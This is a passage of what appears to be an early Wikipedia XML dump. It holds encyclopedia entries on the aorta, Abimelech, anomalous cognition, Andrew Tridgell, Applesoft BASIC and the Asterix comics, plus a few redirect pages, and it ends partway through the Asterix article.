      <text xml:space="preserve">{{Infobox Artery |
  Name        = {{PAGENAME}} |
  Latin       = |
  GraySubject = 142 |
  Image       = Gray505.png |
  Caption     = The '''thoracic aorta''', [[heart]] and other great vessels. |
  BranchFrom  = |
  BranchTo    = [[thoracic aorta]], [[abdominal aorta]] |
  Vein        = |
  Supplies    = |
  MeshName    = Aorta |
  MeshNumber  = A07.231.114.056 |
}}
:''AORTA can also mean &quot;always-on real-time access&quot;, referring to [[wide area network|WAN]] [[computer network]]s.''

The largest [[artery]] in the [[human body]], the '''aorta''' originates from the [[left ventricle]] of the [[heart]] and brings oxygenated blood to all parts of the body in the [[systemic circulation]].

==The course of the aorta==
The aorta is usually divided into several segments.  The portion above the [[diaphragm (anatomy)|diaphragm]] (in the [[thorax]]) is called the ''[[thoracic aorta]]'' and is sometimes further subdivided into the ''ascending aorta'', ''aortic arch'' and ''descending (thoracic) aorta''.  The portion below the diaphragm (in the [[abdomen]]) is known as the ''[[abdominal aorta]]''. 

==Features==
The aorta is an elastic artery, and as such is quite distensible. When the left ventricle contracts to force blood into the aorta, the aorta expands. This stretching gives the potential energy that will help maintain blood pressure during [[diastole]], as during this time the aorta contracts passively.

==Diseases==
* [[Aneurysm of sinus of Valsalva]]
* [[Aortic aneurysm]]
** [[Aortic dissection|Dissecting aortic aneurysm]]
* [[Aortic coarctation]]
* [[Marfan syndrome]]
* inborn cardiovascular defects

==External links==
* {{GraySubject|153}} - Descending aorta
* {{GraySubject|154}} - Abdominal aorta

{{cardiovascular_system}}
{{Template:BloodVessels}}
[[Category:Arteries]]
[[Category:Abdomen]]
[[Category:Thorax]]
[[Category:Cardiovascular system]]

[[bg:Аорта]]
[[da:Aorta]]
[[de:Aorta]]
[[es:Aorta]]
[[fr:Aorte]]
[[it:Aorta]]
[[lt:Aorta]]
[[ms:Aorta]]
[[nl:Aorta]]
[[ja:大動脈]]
[[no:Aorta]]
[[nn:Livpulsåre]]
[[pl:Aorta człowieka]]
[[pt:Aorta]]
[[sk:Srdcovnica]]
[[sr:Аорта]]
[[fi:Aortta]]
[[sv:Aorta]]
[[uk:Аорта]]</text>
    </revision>
  </page>
  <page>
    <title>Albert of Brandenburg Prussia</title>
    <id>2090</id>
    <revision>
      <id>15900534</id>
      <timestamp>2002-09-24T13:01:18Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
      </contributor>
      <comment>redirect: Merging two pages about the same person, based on the same source</comment>
      <text xml:space="preserve">#REDIRECT [[Albert of Prussia]]</text>
    </revision>
  </page>
  <page>
    <title>Anomalous Cognition</title>
    <id>2091</id>
    <revision>
      <id>15900535</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anomalous cognition]]
</text>
    </revision>
  </page>
  <page>
    <title>Anomalous Operation</title>
    <id>2092</id>
    <revision>
      <id>15900536</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Anomalous operation]]
</text>
    </revision>
  </page>
  <page>
    <title>Abimelech</title>
    <id>2093</id>
    <revision>
      <id>38738813</id>
      <timestamp>2006-02-08T08:02:16Z</timestamp>
      <contributor>
        <username>Dodiad</username>
        <id>170135</id>
      </contributor>
      <minor />
      <comment>/* Abimelech's name */</comment>
      <text xml:space="preserve">'''Abimelech''' or '''Avimelech''' ('''&amp;#1488;&amp;#1458;&amp;#1489;&amp;#1460;&amp;#1497;&amp;#1502;&amp;#1462;&amp;#1500;&amp;#1462;&amp;#1498;&amp;#1456;''' / '''&amp;#1488;&amp;#1458;&amp;#1489;&amp;#1460;&amp;#1497;&amp;#1502;&amp;#1464;&amp;#1500;&amp;#1462;&amp;#1498;&amp;#1456;''' &quot;father/leader of a king; my father/leader, a king&quot;, [[Standard Hebrew]] '''Aviméle&amp;#7723;''' / '''Avimále&amp;#7723;''', [[Tiberian Hebrew]] '''&amp;#700;&amp;#258;&amp;#7687;îméle&amp;#7733;''' / '''&amp;#700;&amp;#258;&amp;#7687;îm&amp;#257;le&amp;#7733;''') was a common name of the [[Philistine]] [[monarch|king]]s, much as &quot;[[Pharaoh]]&quot; was of the [[ancient Egypt|Egypt]]ian kings.
#The name of a king of Gerar which is mentioned in two of the three stories of [[a wife confused for a sister]]. 
#[[Abimelech (Judges)]], a son of [[Gideon (Judges)|Gideon]] ([[book of Judges|Judges]] 9:1), who was proclaimed king after the death of his father ([[Judges]] 8:33-9:6). 
#The son of [[Abiathar]], and high priest in the time of [[David]] ([[1 Chronicles]] 18:16). In the parallel passage, [[2 Samuel]] 8:17, we have the name Ahimelech, and Abiathar, the son of Ahimelech. This most authorities consider the more correct reading. 
#The king of [[Gath]], better known as [[Achish]], as it appears in the title of [[Psalm]] 34. He's also referred to as [[Achimelech]] (See also [[Books of Samuel|1 Samuel]] 21:10-15.)

==Abimelech's name==
Abimelech's name has three main translations, though none treats the name as being completely Hebrew, and all are slightly contorted. The first is ''my father is king'', which could be considered simply as a generic title given to a crown prince. The other two are more interesting, both essentially being ''my father is MLK'', with [[Moloch|MLK]] being the reference found elsewhere in the bible in prohibitions such as ''do not pass your children through the fire to MLK'', in which case one of the two following possibilities arises
*Either MLK refers to a major Canaanite deity probably named ''Moloch'', i.e. ''Abimelech'' being ''my father is Moloch'' - a reference to belief in semi-divine kings, such as Abimelech
*Or MLK refers to a type of (probably human) sacrifice probably named ''Molk'', i.e. ''Abimelech'' being roughly ''my father is a sacrifice'' - a reference to Abimelech being pious


{{eastons}}

{{disambig}}

[[Category:Tanakh people]]
[[Category:Torah people]]

[[ca:Abimèlec]]
[[de:Abimelech]]
[[ia:Abimelech]]
[[nl:Abimelek]]
[[pt:Abimeleque]]</text>
    </revision>
  </page>
  <page>
    <title>Anomalous cognition</title>
    <id>2094</id>
    <revision>
      <id>35905986</id>
      <timestamp>2006-01-20T03:38:02Z</timestamp>
      <contributor>
        <username>NickelShoe</username>
        <id>418205</id>
      </contributor>
      <comment>rm spamlink</comment>
      <text xml:space="preserve">'''Anomalous cognition''' is a general term describing a transfer of information to a subject through currently unknown means.
It fits descriptions of [[telepathy]], [[extra-sensory perception]], [[clairvoyance]], [[precognition]] and other &quot;perceptive&quot; [[paranormal]] abilities.  The term ''anomalous cognition'' is used by [[parapsychologists]] to reference awareness of information without having to specify or theorize a particular means by which that information was transferred.

==See also==
*[[anomalous perturbation]]
*[[anomalous operation]]
*[[List of spirituality-related topics]]

{{para-stub}}

[[Category:Paranormal phenomena]]</text>
    </revision>
  </page>
  <page>
    <title>Anomalous operation</title>
    <id>2095</id>
    <revision>
      <id>35905944</id>
      <timestamp>2006-01-20T03:37:44Z</timestamp>
      <contributor>
        <username>NickelShoe</username>
        <id>418205</id>
      </contributor>
      <comment>rm spamlink</comment>
      <text xml:space="preserve">'''Anomalous operation''', also known as '''anomalous perturbation''', is a term describing a broad category of purported [[paranormal]] effects that can best be described as subject A stating an intent or goal to influence system B, and system B then changing appropriately through unknown or unverifiable means. System B can be literally anything, though the common experiment is one or more subjects working to influence the output of a [[random]] system such as an electronic noise source. It covers phenomena as [[psychokinesis]], micro-psychokinesis, [[pyrokinesis]], [[faith healing]], [[poltergeist]] activity, and other manipulative [[parapsychology|parapsychological]] phenomena.

See also [[anomalous cognition]].

{{para-stub}}
[[Category:Paranormal phenomena]]</text>
    </revision>
  </page>
  <page>
    <title>Andrew Tridgell</title>
    <id>2099</id>
    <revision>
      <id>37971211</id>
      <timestamp>2006-02-03T07:43:16Z</timestamp>
      <contributor>
        <username>D6</username>
        <id>75561</id>
      </contributor>
      <minor />
      <comment>adding [[category:Living people]]</comment>
      <text xml:space="preserve">'''Andrew &quot;Tridge&quot; Tridgell''' (born [[February 28]], [[1967]]) is an [[Australia|Australian]] [[computer programmer]], living in [[Canberra]], in the [[Australian Capital Territory]].

Born in [[Sydney]], Andrew is the initial author of and frequent contributor to the [[Samba software|Samba]] [[file server]], and co-inventor of the [[rsync]] algorithm.

He is best known for his analysis of complex [[proprietary]] [[protocol (computing)|protocols]] and [[algorithm]]s, to allow compatible [[free software]] implementations.  In [[2006]], he was awarded the [[FSF Award for the Advancement of Free Software]] for his software work.

== Projects ==
He was a major developer of the Samba software, analysing the [[Server message block|Server Message Block]] protocol used for [[workgroup]] and network file sharing by [[Microsoft Windows]] products. He developed the [[talloc]] hierarchical memory allocator, originally as part of Samba.

He co-developed [[rsync]], including the rsync algorithm, a highly efficient [[file transfer]] and [[data synchronization]] tool.

He was also a leader in [[hacker|hacking]] the [[TiVo]] to make it work in Australia, which uses the [[PAL]] video format.

He also was the original author of [[rzip]], which uses a similar algorithm to rsync, the subject of his PhD thesis.

In April 2005, Andrew's effort to produce free software that interoperated with the [[BitKeeper]] source code repository was a source of [[controversy]], cited as the reason that BitMover revoked the license that allowed its free use for the [[Linux]] kernel. This resulted in a messy public falling-out between Tridgell and [[Linus Torvalds]], in which Tridgell stated that he had never had a BitKeeper license so he couldn't violate it and had acted entirely ethically in analysing and implementing the protocol, something he'd previously done with the Samba protocol. Network protocol analysis is completely legal, even though often mistakenly confused with reverse engineering. See Tridge's [http://samba.org/ftp/tridge/misc/french_cafe.txt French Cafe] article for more information.

== Academic achievements ==
He completed a [[science degree]] with majors in [[applied mathematics]] and [[physics]] at the [[University of Sydney]] in 1988, before moving to [[Canberra]] to complete an [[Honours degree]] at the [[Australian National University]], in which he received first class honours in [[theoretical physics]].

Andrew went on to complete a [[Doctor of Philosophy|Ph.D.]] at the Computer Sciences Laboratory of the [[Australian National University]]. His original doctorate work was in the area of [[speech recognition]] but was never completed. His submitted thesis, on &quot;Efficient Algorithms for Sorting and Synchronization&quot;, was based on his work on the rsync algorithm. (link to thesis below)

== Employment ==
Andrew started his career working for a company named Efam Resources from 1987 to 1988, designing [[computer modeling|computer models]] of [[financial markets]]. His work led to Andrew developing a product named The Options Analyst, which he marketed and sold for 5 years.

From 1988 to 1989, Andrew worked as a software developer for a company named Sonartech Pty Ltd (now Sonartech Atlas), which developed [[sonar]] technologies for Australian [[submarine]]s. Andrew was involved in developing [[passive sonar]] technology.

Between 1989 and 1990, Andrew was employed to develop software for the Research School of Biological Sciences in the Australian National University, creating computer models of physical and biological events and environments such as bushfire spread and [[population dynamics]].

From 1991 to 1999, Andrew held various other positions at the Australian National University, such as [[Unix|UNIX]] administration, [[satellite]] control, and [[supercomputer]] research.  During this period he was seconded to the Cooperative Research Centre for Advanced Computational Systems (CRC for ACSys) where he headed the PIOuS (Parallel Input/Output System) project - later HiDIOS (High-performance Distributed Input/Output System) - for parallel file systems on the Fujitsu AP1000 and AP+ supercomputers. Andrew also went on to lecture, first as an associate lecturer, and then as a casual lecturer, in the university's Computer Science division. He remains a Visiting Fellow of the University.

In mid-1999, Andrew joined the [[Linuxcare]] company's office in Canberra as their first Australian employee. He helped to assemble 14 staff for a research and development team. [[Linux]] and open-source companies were quite a new concept at this stage. Andrew was made a research fellow of Linuxcare in 2000.

In March 2001, Andrew joined [[VA Software|VA Linux Systems]], the second high-profile company to base their business model on the open-source community model. Andrew worked in the [[network attached storage]] division for VA Linux Systems, making enhancements to Samba and the [[Linux kernel]] to provide enhanced performance for their network-attached storage device range.

Andrew continued his work with network-attached storage technologies when he joined [[Quantum Corporation]] as a Senior Engineer in the Systems Storage Group. His role once again involved developing functionality and efficiency modifications into Samba to enhance Quantum's Guardian network-attached storage device range. One of the features that he added to Samba at this time was support for [[Microsoft]]'s [[Active Directory]] technology, a new authentication system introduced with Microsoft's [[Windows 2000|Windows 2000 Server]] product range.

In 2004, Andrew was employed by [[IBM]] working remotely for the [[Almaden Research Center]]. He left in January 2005 to become an appointed fellow at [[OSDL]] in order to lead development on version 4 of Samba.

==Awards==
* In January [[2006]], the [[Free Software Foundation]] awarded Tridgel its '''[[2005]] [[FSF Award for the Advancement of Free Software]]''', for his work on Samba, the Linux kernel, and rsync. Tridgell was considered to have furthered an important goal of the free software movement since the founding of [[GNU]], analyzing ways for free software to interact with widespread proprietary systems to allow people to more easily move away from those systems.

==External links==
* [http://www.samba.org/~tridge Andrew's website]
* [http://samba.org/~tridge/phd_thesis.pdf Efficient Algorithms for Sorting and Synchronization (PhD thesis)] - (406kB PDF)

[[Category:1967 births|Tridgell, Andrew]]
[[Category:Living people|Tridgell, Andrew]]
[[Category:Australian hackers|Tridgell, Andrew]]
[[Category:Free Software developers|Tridgell, Andrew]]
[[Category:People from the Australian Capital Territory|Tridgell, Andrew]]
[[Category:Programmers|Tridgell, Andrew]]

[[de:Andrew Tridgell]]
[[es:Andrew Tridgell]]
[[fr:Andrew Tridgell]]</text>
    </revision>
  </page>
  <page>
    <title>Applesoft BASIC</title>
    <id>2100</id>
    <revision>
      <id>41471189</id>
      <timestamp>2006-02-27T15:57:37Z</timestamp>
      <contributor>
        <username>Wernher</username>
        <id>19431</id>
      </contributor>
      <minor />
      <comment>[[Category:Microsoft BASIC]]</comment>
      <text xml:space="preserve">'''Applesoft BASIC''' was the second dialect of [[BASIC programming language|BASIC]] supplied on the [[Apple II family|Apple II]] computer, superseding [[Integer BASIC]]. Applesoft BASIC was supplied by [[Microsoft]]; Apple was looking for a new version of BASIC for the '''Apple II Plus''' computer with 48 [[kilobyte|KB]] of [[random access memory|RAM]], and after their success with [[Altair BASIC]], Microsoft had become the BASIC vendor of choice. Apple licensed a 10 KB [[assembly language]] version of BASIC called &quot;Applesoft.&quot; It was similar to (and indeed shared a common code base with) BASIC implementations on other [[MOS Technology 6502|6502]]-based computers, such as [[Commodore BASIC]]: it used line numbers, spaces were not necessary in lines. While it was much slower than Integer BASIC, it had some killer features that the older BASIC lacked:

* Atomic strings. A string is no longer an array of characters (like in [[C programming language|C]]); it is instead a [[garbage collection (computer science)|garbage-collected]] object (like in [[Scheme programming language|Scheme]] and [[Java programming language|Java]]). This allows for string arrays; &lt;code&gt;DIM A$(10)&lt;/code&gt; resulted in a [[vector (computing)|vector]] of ten string variables.
* Multidimensional arrays.
* Single-precision [[floating point]] variables with an 8-bit exponent and a 31-bit significand and improved math capabilities, including a trigonometry library.
* Commands for high-resolution graphics.
* &lt;code&gt;CHR$, ASC, STR$,&lt;/code&gt; and &lt;code&gt;VAL&lt;/code&gt; functions for converting between string and numeric types
* &lt;code&gt;LET&lt;/code&gt; statement optional
* User defined functions (just simple one-line functions with simple parameters written in BASIC).
* Error-trapping, allowing BASIC programs to handle unexpected errors by means of a subroutine written in BASIC.

Relatively few [[action game]]s were written in Applesoft BASIC, for several reasons:

* In this era of carefully counting clock cycles and limited memory, it was silly to write speed-dependent programs that ran on a runtime interpreter.
* The use of real numbers for all math operations created unnecessary overhead and degraded performance. Applesoft actually converted integer numbers to real before performing operations on them them, then converted them back to integers if necessary. Microsoft did not [[Optimization (computer science)|optimize]] this.
* So-called [[shape table]]s are a slow alternative to [[bitmap]]s. No provision existed for mixing text and graphics, except for the limited &quot;Hardware split screen&quot; of the Apple II (four lines of text at the bottom of the screen). Many graphics programs thus contained  their own bitmap character generator routines. No provision was added in the 128 KB [[Apple IIe]] and [[Apple IIc]] models' BASIC interpreters for the new machines' extra memory and double-resolution graphics, or for the [[Apple IIgs|Apple II&lt;small&gt;GS&lt;/small&gt;]]'s 16-color mode. ([[Beagle Bros]] offered machine-language workarounds for these problems.)
* The program was stored as a [[linked list]] of lines; a &lt;code&gt;[[GOTO]]&lt;/code&gt; took [[Computational complexity theory|O(n) (linear) time]], and although Applesoft programs were not very long compared to today's software, on a 1 MHz 6502 this could be a significant bottleneck.
* No sound support aside from a PEEK command that could be used to click the speaker. The language was not fast enough to produce more than a baritone buzz from repeated clicks anyway. However, compiled assembly language was fast enough, and music spanning several octaves could be played by repeated calls to a machine-language tone generator.
* The [[closed source movement]] was just beginning; software publishers found it was harder to crack a machine-language binary than an interpreted source.

Here's [[Hello World]] in Applesoft BASIC:

 10 TEXT:HOME
 20 ?&quot;HELLO WORLD&quot;

Multiple commands could be included on the same line of code if seperated by a colon (:).  The ? can be used in Applesoft BASIC as a shortcut for &quot;PRINT&quot;, though spelling out the word is not only acceptable but canonical -- Applesoft converted &quot;?&quot; in entered programs to &quot;PRINT&quot; and the question mark would be &quot;expanded&quot; when entered program lines were listed back out. So the program above would actually appear in a LIST command as shown below:

 10 TEXT : HOME
 20 PRINT &quot;HELLO WORLD&quot;

''This article includes text from [http://everything2.com/?node=Applesoft+BASIC Everything2], licensed under GFDL.''

== Trivia ==
* There was a well-documented bug in Applesoft BASIC that could actually crash the interpreter if ONERR GOTO was in effect and numerous program errors occurred. Apple provided a short assembly-language routine which could be POKEd into RAM and CALLed to ameliorate the problem to an extent. Later it was discovered by an enterprising hacker that the required code was actually in the Applesoft ROM (though it was never executed) and could be called there instead.

* Applesoft could be extended by two means: the ampersand (&amp;amp;) command and the USR() function. Machine-language routines could be attached to the ampersand and USR hooks in the computer's memory and call Applesoft ROM code to retrieve the values of parameters that followed them. A number of third-party packages were produced to add functionality to Applesoft by one or the other of these mechanisms.

* Applesoft, like Integer BASIC before it, did not come with any built-in commands for dealing with files or disks. The Apple II disk operating system, known simply as DOS, thus intercepted all input typed by the user to determine whether it was a DOS command. Similarly, all output was scrutinized for a Control-D character (ASCII 4), which BASIC programs would send before printing a disk command to get DOS's attention. ProDOS followed this lead, although the BASIC command interpreter was placed in a separate program called BASIC.SYSTEM.

* Neither Apple nor Microsoft ever made source code for Applesoft BASIC available. However, Glen Bredon included a program with his Merlin assembler that would generate a copy of a BASIC disassembly from the ROMs in a user's computer, cleverly skirting copyright law.

* Both Integer BASIC and Applesoft used the technique of ''tokenizing'' to reduce the memory requirements of programs and to speed their interpretation. As code was entered, BASIC keywords would be converted to single-byte tokens; the process was reversed when the program was listed. Integer BASIC used characters with codes above 127 for normal text and codes below 128 for tokens; Applesoft used exactly the reverse.

* Due to Applesoft BASIC's slow performance, BASIC compilers were much sought-after tools for BASIC programmers. The first, Microsoft's The AppleSoft Compiler (TASC), was actually written in Applesoft and then used to compile itself. A later product, the Einstein Compiler, was somewhat more sophisticated and offered better performance both in compilation and in execution. The ultimate BASIC compiler was the Beagle Compiler, published by [[Beagle Bros]]; it integrated closely with ProDOS (the current Apple II OS at the time of its reelase), compiled programs in seconds rather than minutes, and achieved superior code execution performance. However, unlike previous compilers, the Beagle Compiler did not truly compile BASIC programs to machine code, but rather converted them to a highly optimized pseudo-code that was interpreted by a runtime module.

== See also ==
* [[Chinese BASIC]]: A Chinese-localized version of Applesoft BASIC.


[[Category:Apple II software]]
[[Category:BASIC dialects]]
[[Category:Microsoft BASIC]]

[[ko:애플소프트 베이직]]
[[nl:Applesoft BASIC]]</text>
    </revision>
  </page>
  <page>
    <title>Asterix</title>
    <id>2101</id>
    <revision>
      <id>41878007</id>
      <timestamp>2006-03-02T08:31:23Z</timestamp>
      <contributor>
        <username>Saxifrage</username>
        <id>152389</id>
      </contributor>
      <minor />
      <comment>/* Revisionist explanations */ copy edit</comment>
      <text xml:space="preserve">:''This article refers to the French cartoon character &quot;Asterix&quot;. For the symbol named &quot;Asterisk&quot; and its related uses, see [[Asterisk (disambiguation)]].''

[[Image:Asterix-Asterix.gif|frame|right|&quot;A shrewd, cunning little warrior; all perilous missions are immediately entrusted to him.&quot;]]

'''Asterix''' ([[French language|French]]: '''Astérix''') is a [[fictional character]], created in [[1959]] as the [[hero]] of a [[List of Asterix volumes|series of volumes]] of [[France|French]] [[comic book]]s by [[René Goscinny]] (stories) and [[Albert Uderzo]] (illustrations). Uderzo has continued the series since the death of Goscinny in [[1977]].

The books have been translated into many languages, including dialects and even [[Latin]] and [[Ancient Greek]]. They are probably the most popular [[Franco-Belgian comics|French comic]] in the world, and familiar to people of all ages in most European countries. Asterix is less well known in the [[United States]] and [[Japan]], which both have strong comic book traditions of their own.

The key to the success of the series is that it contains comic elements for all ages: young children like the fist-fights and other visual gags, while adults can appreciate the cleverness of the allusions and [[pun]]s that sparkle throughout the texts.

Note: the names of the characters contain puns, and vary with translation into other languages. This article uses the names from the English-language translations of [[Anthea Bell]] and [[Derek Hockridge]]. For the French names see [[Asterix#Major recurring characters|below]].

Several books have been made into films, mostly animated, some with live actors. See [[List of Asterix films and videogames]].
 
==Setting and characters==
Asterix lives around [[50 BC]] in a fictional village in northwest [[Armorica]] (a region of ancient [[Gaul]] mostly identical to modern [[Brittany]]). This village is celebrated amongst the Gauls as the only part of that country not yet conquered by [[Julius Caesar]] and his [[Roman legion]]s. The inhabitants of the village gain superhuman strength by drinking a magic [[potion]] prepared by the [[Druidry|druid]] Getafix (French: Panoramix). The village is surrounded by the ocean on one side, and four Roman garrisons on the other, intended to keep a watchful eye and ensure that the Gauls do not get up to mischief.

A recurring plot in many of the Asterix books concerns the attempts by the [[Ancient Rome|Roman]]s to prevent the druid from making the potion, or trying to get the secret recipe for their own use. Such attempts are invariably foiled by the heroes of the books - the agile, clever and pint-sized Asterix and his clumsy, oversized, but extremely strong and good-hearted best friend, [[Obelix]].

The humour encountered in the Asterix comics is typically French, often centring on puns, caricatures, and [[tongue-in-cheek]] [[stereotype]]s of contemporary [[Europe]]an nations and [[List of regions in France|French regions]]. Much of the humour in the initial Asterix books was French-specific, which delayed the translation of the book into other languages for fear of losing the joke and the spirit of the story. Some translations have actually added local humour: in the [[italian language|Italian]] translation, the Roman legionnaires are made to speak in 20th-century Roman slang. The newer albums share a more universal humour, both written and visual.

In spite of (or perhaps because of) this [[stereotyping]] and notwithstanding some alleged streaks of French [[chauvinism]], it has been very well received by European and Francophone cultures around the world.
Allegations of chauvinism are ironic considering that Uderzo is of Italian descent, and Goscinny was of Ukrainian-Polish Jewish descent.

==Humour==
===Stereotypes and allusions===
Everywhere they visit, Asterix and Obelix encounter people and things borrowed and caricatured from 20th century real life. In the early album ''[[Asterix and the Goths]]'', for instance, the [[Goths]] are represented as [[militarism|militaristic]] and regimented, reminiscent of late nineteenth and early twentieth century [[Germany|Germans]]. The helmets worn by these Goths even resemble the German [[Pickelhaube]] helmets worn up to [[World War I]] and one of their leaders bears an uncanny resemblance to [[Otto von Bismarck]]. The [[United Kingdom|British]] are shown as polite and phlegmatic, drinking warm [[beer]] or hot [[water]] with a drop of milk (before the first [[tea]] has been brought to what would become [[England]] by Asterix); they boil all their food and serve it with mint sauce, and they drive their chariots on the wrong side of the road. [[Iberian Peninsula|Spain]] is the cheap country down south where people from the [[Northern Europe|North]] vacation. All the tribes represented are treated humorously as prototypes for their modern counterparts, and many aspects of them are satirised. However, the French are not exempt from satire, and almost all of the peoples Asterix meets are portrayed positively, even the Romans. The only tribe depicted completely unflatteringly is the Goths, possibly a result of the Second World War.

Some caricatures of the traits of certain French regions are also used: the people from [[Normandy]] smother their food in cream and cannot give a straight answer; the people from [[Marseille]] play [[boules]] and exaggerate matters, and [[Corsica]]ns don't like to do any work, are easily angered and have long-standing [[vendetta]]s that they settle violently, and make cheese that smells so bad that it actually becomes an explosive.

Minor characters often resemble famous people or fictional characters, usually caricatures of existing French people of the same era, particularly from television and the spectacles. In ''[[Obelix and Co.]]'', for example, the young Roman bureaucrat is a caricature of a young [[Jacques Chirac]], and it includes two Roman legionaries drawn to the likeness of [[Stan Laurel]] and [[Oliver Hardy]]. In ''[[Asterix and the Falling Sky]]'', the super-clones are a caricature of [[Arnold Schwarzenegger]]. Those characters usually stick out visually, by not having the round, oversized noses otherwise typical of Uderzo's style.  

Other side characters allude to people related to the place Asterix is visiting. Notable examples include a very [[Elizabeth Taylor]]-like Cleopatra in  ''[[Asterix and Cleopatra]]''; Britain's most famous bards in the story ''[[Asterix in Britain]]'', who are four in number and look remarkably like [[the Beatles]]; a pair of Belgian warriors in ''[[Asterix in Belgium]]'' who resemble and also speak like Thomson and Thompson of [[Tintin]]-fame; and both [[Don Quixote]] and [[Sancho Panza]] are depicted in ''[[Asterix in Spain]]''. More recently, this spoofing has occasionally extended to major characters as well: in ''[[Asterix and the Black Gold]]'', a Roman spy is a young [[Sean Connery]] named Dubbelosix drawn in [[James Bond]] style, and in ''[[Asterix and Obelix All at Sea]]'', the leader of the escaped slaves (named Spartakis, being Greek) is based on [[Kirk Douglas]]' [[Spartacus]].  In ''[[Asterix and the Cauldron]]'', the head of the theatre is Laurensolivius, based on the actor [[Laurence Olivier]].

The stories also feature allusions to major artistic works (such as [[Pieter Bruegel]]'s ''[[:Image:Bruegel_peasant_wedding_dsc01965.jpg|Peasant Wedding]]'' and [[Victor Hugo]]'s story of the [[Battle of Waterloo]] from ''Les Châtiments'', in ''[[Asterix in Belgium]]''), as well as historical personalities ([[Napoleon]], [[Louis XIV of France]]), and famous places (the [[Moulin Rouge]], [[Bethlehem]]) and the [[Statue of Liberty]] (played by Asterix)).

However, in many other respects the series reflects life in the [[1st century BC]] fairly accurately for the medium. For example, the multi-storied apartments in Rome&amp;mdash;the insulae&amp;mdash;which have Obelix remarking that one man's roof is another man's floor, and consequently, &quot;These Romans are crazy&quot;: his favourite line. This line itself is also an intrinsic joke on [[Rome]] and the Romans, as its [[Italian Language|Italian]] equivalent is &quot;Sono pazzi questi romani&quot;, which abbreviates as &quot;[[SPQR]]&quot;, as does the motto of the Roman Empire.  On the other hand, the presence of chimneys in the Gaulish huts is not accurate, as they used gabled openings in the roof to let smoke escape.  Also, [[menhir]]s are now believed to have been erected long before the Gauls.

The text also makes relatively regular use of original [[List of Latin phrases|Latin phrases]], and allusions to Julius Caesar's ''[[De Bello Gallico]]'', a book about the conquest of Gaul, later used as an introductory text to [[Latin]]. Some jokes are made about Caesar's use of the third person to write about himself. Such allusions were likely to be well-received by the better-educated sections of the French and Belgian public in the [[1960s]], when the teaching of Latin was still widespread in high schools.

===Puns in names===
[[Image:Asterix-Main_Gaul_characters.jpeg|thumb|From left to right: Geriatrix, Unhygienix, Obelix (and Dogmatix), Asterix, Vitalstatistix, Getafix, Fulliautomatix, and Cacofonix (the porters are unnamed)]]

A key feature of the text of the ''Asterix'' books are the constant [[pun]]s used as names of characters; The names of the two protagonists come from [[asterisk]] and [[obelisk]], Asterix being the star of the books (Latin ''aster'' (derived from the Greek word αστήρ (astir) [star] and Celtic ''rix'' [king, cognate to Latin ''rex'', [[Sanskrit]] ''raj'', German ''reich'', English ''rich'', etc]), and Obelix being a [[menhir]] delivery-man.  This is a double pun, since as well as meaning a stone monolith, the word ''obelisk'' can also refer to the [[dagger (typography)|typographical dagger]] (&amp;dagger;) that is often used to denote the second footnote on a page after an ''asterisk'' (*) has been used to reference the first.  In fact, nearly all the Gaulish characters' names end in ''-ix'', probably a reference to the real-life Gaulish chieftain such as [[Vercingetorix]] (though in life only the names of Gaulish kings&amp;mdash;and not even all of them&amp;mdash;ended in ''-ix'', and if they did it was always ''-rix''). English language examples include the chief ([[Vitalstatistix]]), the druid ([[Getafix]]), the fishmonger ([[Unhygienix]]), and an old man ([[Geriatrix]]) with a young wife. Roman characters' names end with ''-us'' as in Noxious Vapus and Crismusbonus. Female names do not follow the rules: for instance the wife of the Roman Osseus Humerus is Fibula, and his daughter Tibia. Other nations have their own style of naming&amp;mdash;Vikings use ''-af'' (Bathyscaf, Toocleverbyhaf, Timandahaf), Egyptians use ''-is'' (Edifis, Artifis), Britons use ''-ax'' (Hiphiphurrax, Notax, Valueaddedtax, and the notable exception Mykingdomforanos), Goths use ''-ic'' ([[Rhetoric]], Choleric) and Spaniards use Spanish-sounding names such as Huevos Y Bacon (Eggs and Bacon). Most names stand as solitary puns, like Getafix or Geriatrix, and some play on each other, as in the example of a Roman guard talking through a closed door to another guard: &quot;Open up, Sendervictorius! It's me, Appianglorius!&quot; This is a pun on the UK national anthem &quot;God Save the Queen&quot; and the lines &quot;Send her victorious, happy and glorious, long to reign over us, God save the Queen&quot;.

====Names in the French version====
Many of these puns reflect the French original, in which, for example, the Egyptian in ''Astérix Légionnaire'' is named Courdeténis (''cour de tennis'', i.e. &quot;tennis court&quot;) in French and Ptenisnet in English. But the translation of puns is difficult, and [[Anthea Bell]] and [[Derek Hockridge]] do a good job in the English language edition. For example, the translation of Ordralfabétix (referring to ''ordre alphabétique'', &quot;alphabetical order&quot;), is Unhygienix, given that this character is a fishmonger infamous for his rotting product. The original Panoramix, which perhaps represents the druid who sees the whole picture, is named Getafix in the English version, as &quot;get a fix&quot; conveys the fact he makes potent potions. Assurancetourix (''assurance tous risques'' or &quot;comprehensive insurance&quot;), the ear-offending [[bard]] of the village, becomes the apt Cacofonix.  Another clever translation is that of Idéfix, a dog who has very strong views on the environment (he howls whenever he sees an uprooted tree). An ''idée fixe'' is a &quot;fixed idea&quot;, i.e. an obsession, a dogma. The translation, [[Dogmatix]], manages to conserve the &quot;fixed idea&quot; meaning and also include the syllable ''dog''. Note that the [[American English]] version of the comic was done by a different translator, and tends to use different names. Since these translations were of such poor quality, many North American fans of the series seek out the British translations instead. The word ''asterix'' is also commonly mis-used by [[English language]] speakers and writers in place of ''asterisk''. 

The chief is called Abraracourcix, derived from the phrase ''à bras racourci'' meaning &quot;with arm shortened, ready to punch.&quot; Another series of puns, at least in the original French include the names of the four camps (castra) which surround Asterix's village, e.g. one of them is called &quot;Babaorum&quot;, a pun on ''baba au rhum'' or [[rum baba]], a popular kind of pastry.
&lt;!--What is the Roman ''Belinconnus'' (Handsome Stranger) in the English version? --&gt;
&lt;!--: Which album does he appear in, and what does he do? --&gt;

===Running gags===
